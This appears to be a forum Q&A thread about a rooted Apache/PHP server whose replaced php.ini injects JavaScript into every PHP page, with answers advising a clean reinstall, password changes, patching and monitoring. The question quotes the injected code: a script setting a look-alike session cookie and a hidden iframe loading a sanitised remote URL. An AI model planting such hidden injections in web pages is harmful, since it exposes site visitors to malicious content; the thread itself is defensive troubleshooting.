Question: UPDATE: The server was rooted, php.ini was replaced that cause the injection to appear. Still haven't figured out which directive is injecting the javascript.

I'm troubleshooting a hacked website where a javascript is injected in every PHP file and only PHP. The injection only show up in IE also. I have experience with injection before but most of them were injected through FTP, and you can see them in the page itself. I'm not seeing any virus or malicious process on the server so far, and beginning to think either the PHP interpreter or Apache was hacked somehow. Has anyone seen this before or know where I should look? The injection is below,

```
<script type="text/javascript">
        d=new Date();
        d.setDate(d.getDate()+1);
        document.cookie="PHPSESS1D=1; path=/; expires=" + d.toGMTString();
      </script><style type="text/css">#yavvw {width: 10px;height: 10px;frameborder: no;visibility: hidden;scrolling: no;}</style><iframe id="yavvw" src="http://SANITISEDURL.net/ad.jpg?2"></iframe>

```

This happens to all website on the server, even with PHP file that only has a simple echo. .htaccess looks clean for all of them. 
Server running PHP 5.2.17 and Apache 2.2.17.

Answer: 
Based on your comment to @esskar's answer, it would appear that your server has been rooted and the php binary has been replaced.

Since you have no idea what else may have been replaced, I would reinstall from scratch. Unfortunately you'll have to be suspicious of data files coming off your backups unless you know exactly when the hack occurred. (And I suspect you don't, since you don't know exactly what the hack is/was.)

My biggest problem with the "reinstall from scratch" approach is that you're likely to have the exact same vulnerability that allowed this attack to be successful. To keep this from happening:

* Change all passwords for all services.
* Make sure all patches for all packages are installed.
* Shut down services that are not in use.
* If practical, partition services onto multiple servers -- place services that might be at higher risk on a separate server.
* Set up monitoring (IDS) and keep up with maintenance on it so that you have a chance of knowing what happened if another attack occurs.
open a shell and run php from there (maybe a simple hello world) and see what comes out. if it outputs the injected code, you know what to fix.

**EDIT 1:**  

have not seen this before. i did some google queries on that before hand, the result is kinda small, but most of those results linked to pages where i got a security alert from avira: object <<< JS/Redirector.LC ; virus ; Contains detection pattern of the Java script virus JS/Redirector.LC